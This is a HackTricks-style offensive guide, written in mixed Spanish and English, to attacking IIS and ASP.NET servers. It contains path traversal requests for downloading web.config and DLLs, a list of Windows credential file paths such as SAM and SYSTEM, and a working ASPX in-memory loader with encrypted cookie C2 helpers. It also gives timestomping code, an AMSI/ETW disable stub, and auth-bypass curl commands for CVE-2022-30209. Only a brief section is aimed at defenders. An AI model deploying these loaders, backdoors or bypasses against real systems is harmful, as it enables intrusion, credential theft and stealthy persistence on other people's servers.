IIS - Internet Information Services

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Extensiones de archivos ejecutables de prueba:

  • asp
  • aspx
  • config
  • php

Divulgación de la dirección IP interna

En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el Host header y usar HTTP/1.0; dentro de la respuesta el Location header podría apuntar a la dirección IP interna:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Respuesta que revela la IP interna:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Úsala sin añadir ninguna extensión; los archivos que la necesitan ya la tienen.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

As summary, there are several web.config files inside the folders of the application with references to “assemblyIdentity” files and “namespaces”. With this information it’s possible to know where are executables located and download them.
From the downloaded Dlls it’s also possible to find new namespaces where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.
Also, the files connectionstrings.config and global.asax may contain interesting information.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through “assemblyIdentity” XML tags.

Explorando archivos binarios

A continuación se muestra un ejemplo de acceso al archivo web.config:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Esta petición revela varios ajustes y dependencias, tales como:

  • EntityFramework version
  • AppSettings para webpages, client validation y JavaScript
  • System.web configuraciones para authentication y runtime
  • System.webServer modules settings
  • Runtime assembly bindings para numerosas librerías como Microsoft.Owin, Newtonsoft.Json, y System.Web.Mvc

Estos ajustes indican que ciertos archivos, como /bin/WebGrease.dll, están ubicados dentro de la carpeta /bin de la aplicación.

Root Directory Files

Los archivos encontrados en el directorio raíz, como /global.asax y /connectionstrings.config (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación.

Namespaces and Web.Config

MVC applications también definen archivos adicionales web.config para namespaces específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una petición para descargar otro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Descargando DLLs

La mención de un espacio de nombres personalizado sugiere una DLL llamada “WebApplication1” presente en el directorio /bin. A continuación se muestra una solicitud para descargar la WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Esto sugiere la presencia de otras DLLs esenciales, como System.Web.Mvc.dll y System.Web.Optimization.dll, en el directorio /bin.

En un escenario en el que una DLL importa un espacio de nombres llamado WebApplication1.Areas.Minded, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como /area-name/Views/, que contienen configuraciones específicas y referencias a otras DLLs en la carpeta /bin. Por ejemplo, una petición a /Minded/Views/web.config puede revelar configuraciones y espacios de nombres que indican la presencia de otra DLL, WebApplication1.AdditionalFeatures.dll.

Archivos comunes

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

Si ves un error como el siguiente:

Significa que el servidor no recibió el nombre de dominio correcto dentro del Host header.
Para acceder a la página web podrías revisar el SSL Certificate servido y quizá encuentres el nombre de dominio/subdominio allí. Si no está, puede que necesites brute force VHosts hasta encontrar el correcto.

Descifrar configuración cifrada y key rings de ASP.NET Core Data Protection

Dos patrones comunes para proteger secretos en aplicaciones .NET alojadas en IIS son:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para secciones de web.config como .
  • ASP.NET Core Data Protection key ring (persisted locally) usado para proteger secretos de la aplicación y cookies.

Si tienes filesystem o interactive access on the web server, las claves co-ubicadas a menudo permiten el descifrado.

  • ASP.NET (Full Framework) – descifrar secciones de configuración protegidas con aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – buscar anillos de claves de Data Protection almacenados localmente (archivos XML/JSON) en ubicaciones como:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Con el anillo de claves disponible, un operador que se ejecute con la identidad de la app puede instanciar un IDataProtector con los mismos purposes y unprotect secretos almacenados. Las misconfiguraciones que guardan el anillo de claves junto con los archivos de la app hacen que el descifrado offline sea trivial una vez que el host está comprometido.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Auxiliares de Packing/crypto (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Flujo de Cookie/session y superficie de comandos

  • El bootstrap de Session y el tasking se realizan mediante cookies para mezclarse con la actividad web normal.
  • Los comandos observados en entornos reales incluyeron: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; y primitivas de ejecución dinámicas code_self, code_pid, run_code para ejecución .NET en memoria.

Utilidad de Timestomping

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Desactivación inline de AMSI/ETW antes de Assembly.Load (variante loader)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Ver técnicas de bypass AMSI/ETW en: windows-hardening/av-bypass.md

Notas para hunting (defensores)

  • Single, odd ASPX page with very long Base64/Gzip blobs; cookie‑heavy posts.
  • Módulos managed no respaldados dentro de w3wp.exe; cadenas como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Delimitadores repetidos como “STAR” en el tráfico; timestamps desajustados o incluso futuros en ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Muchas apps ASP.NET incluyen Telerik UI for ASP.NET AJAX y exponen el handler no autenticado Telerik.Web.UI.WebResource.axd. Cuando el endpoint de caché del Image Editor es accesible (type=iec), los parámetros dkey=1 y prtype habilitan unsafe reflection que ejecuta cualquier constructor público sin parámetros pre‑auth. Esto proporciona un primitivo de DoS universal y puede escalar a RCE pre‑auth en apps con manejadores inseguros AppDomain.AssemblyResolve.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Puedes intentar enumerar carpetas y archivos dentro de cada carpeta descubierta (incluso si requiere Basic Authentication) usando esta technique.
La principal limitación de esta técnica si el servidor es vulnerable es que solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión de los archivos.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

A nice idea to find the final name of the discovered files is to ask LLMs for options like it’s done in the script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Puedes intentar combinar esta vulnerabilidad y la anterior para encontrar nuevas carpetas y eludir la autenticación.

ASP.NET Trace.AXD enabled debugging

ASP.NET incluye un modo de depuración y su archivo se llama trace.axd.

Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un periodo de tiempo.

Esta información incluye IPs remotas de clientes, session IDs, todas las cookies de request y response, rutas físicas, información del código fuente y potencialmente incluso nombres de usuario y contraseñas.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH usa la siguiente info:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

Sin embargo, algunas personas usarán los valores por defecto de estos parámetros y usarán como cookie el email del usuario. Por lo tanto, si encuentras un sitio que use la misma plataforma y que esté usando la cookie ASPXAUTH y creas un usuario con el email del usuario que quieres suplantar en el servidor secundario, podrías ser capaz de usar la cookie del segundo servidor en el primero e impersonar al usuario.
Este ataque funcionó en este writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Un bug en el código no comprobaba correctamente la contraseña proporcionada por el usuario, por lo que un atacante cuya password hash hits a key que ya está en la cache podrá autenticarse como ese usuario.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks